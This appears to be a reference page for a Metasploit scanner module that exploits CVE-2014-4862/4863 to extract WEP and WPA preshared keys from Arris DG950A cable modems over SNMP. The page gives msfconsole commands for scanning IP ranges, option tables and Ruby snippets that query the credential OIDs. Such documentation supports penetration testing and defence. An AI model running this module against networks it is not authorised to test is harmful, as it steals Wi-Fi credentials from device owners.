Arris DG950A Cable Modem Wifi Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/snmp/arris_dg950 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Arris DG950A Cable Modem Wifi Enumeration
Module: auxiliary/scanner/snmp/arris_dg950
Source code: modules/auxiliary/scanner/snmp/arris_dg950.rb
Disclosure date: -
Last modification time: 2020-02-18 08:58:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: CVE-2014-4862, CVE-2014-4863

This module will extract WEP keys and WPA preshared keys from Arris DG950A cable modems.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/snmp/arris_dg950
msf auxiliary(arris_dg950) > show options
    ... show and set options ...
msf auxiliary(arris_dg950) > set RHOSTS ip-range
msf auxiliary(arris_dg950) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(arris_dg950) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(arris_dg950) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(arris_dg950) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/snmp/arris_dg950 auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/snmp/arris_dg950

msf6 auxiliary(scanner/snmp/arris_dg950) > show info

       Name: Arris DG950A Cable Modem Wifi Enumeration
     Module: auxiliary/scanner/snmp/arris_dg950
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Deral "Percent_X" Heiland

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      161              yes       The target port (UDP)
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    1                yes       SNMP Version <1/2c>

Description:
  This module will extract WEP keys and WPA preshared keys from Arris 
  DG950A cable modems.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-4863
  https://blog.rapid7.com/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863

Module Options


This is a complete list of options available in the scanner/snmp/arris_dg950 auxiliary module:

msf6 auxiliary(scanner/snmp/arris_dg950) > show options

Module options (auxiliary/scanner/snmp/arris_dg950):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      161              yes       The target port (UDP)
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

Advanced Options


Here is a complete list of advanced options supported by the scanner/snmp/arris_dg950 auxiliary module:

msf6 auxiliary(scanner/snmp/arris_dg950) > show advanced

Module advanced options (auxiliary/scanner/snmp/arris_dg950):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/snmp/arris_dg950 module can do:

msf6 auxiliary(scanner/snmp/arris_dg950) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/snmp/arris_dg950 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/snmp/arris_dg950) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Does not appear to be an Arris DG950A


Here is a relevant code snippet related to the "Does not appear to be an Arris DG950A" error message:

35:	      wifi_info = ''
36:	      password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
37:	      print_line("Password: #{password}")
38:	      wifi_info << "Password: #{password}" << "\n"
39:	    else
40:	      fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A")
41:	    end
42:	
43:	    # check WPA Encryption Algorithm
44:	    encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
45:	    case encrypt_type

<IP> error: <E.CLASS> <E.MESSAGE>


Here is a relevant code snippet related to the "<IP> error: <E.CLASS> <E.MESSAGE>" error message:

133:	    p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
134:	    print_good("WiFi Data saved in: #{p}")
135:	  # No need to make noise
136:	  rescue ::SNMP::UnsupportedVersion
137:	  rescue ::SNMP::RequestTimeout
138:	    raise $ERROR_INFO
139:	  rescue ::Exception => e
140:	    print_error("#{ip} error: #{e.class} #{e.message}")
141:	    disconnect_snmp
142:	  end
143:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Deral "Percent_X" Heiland

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.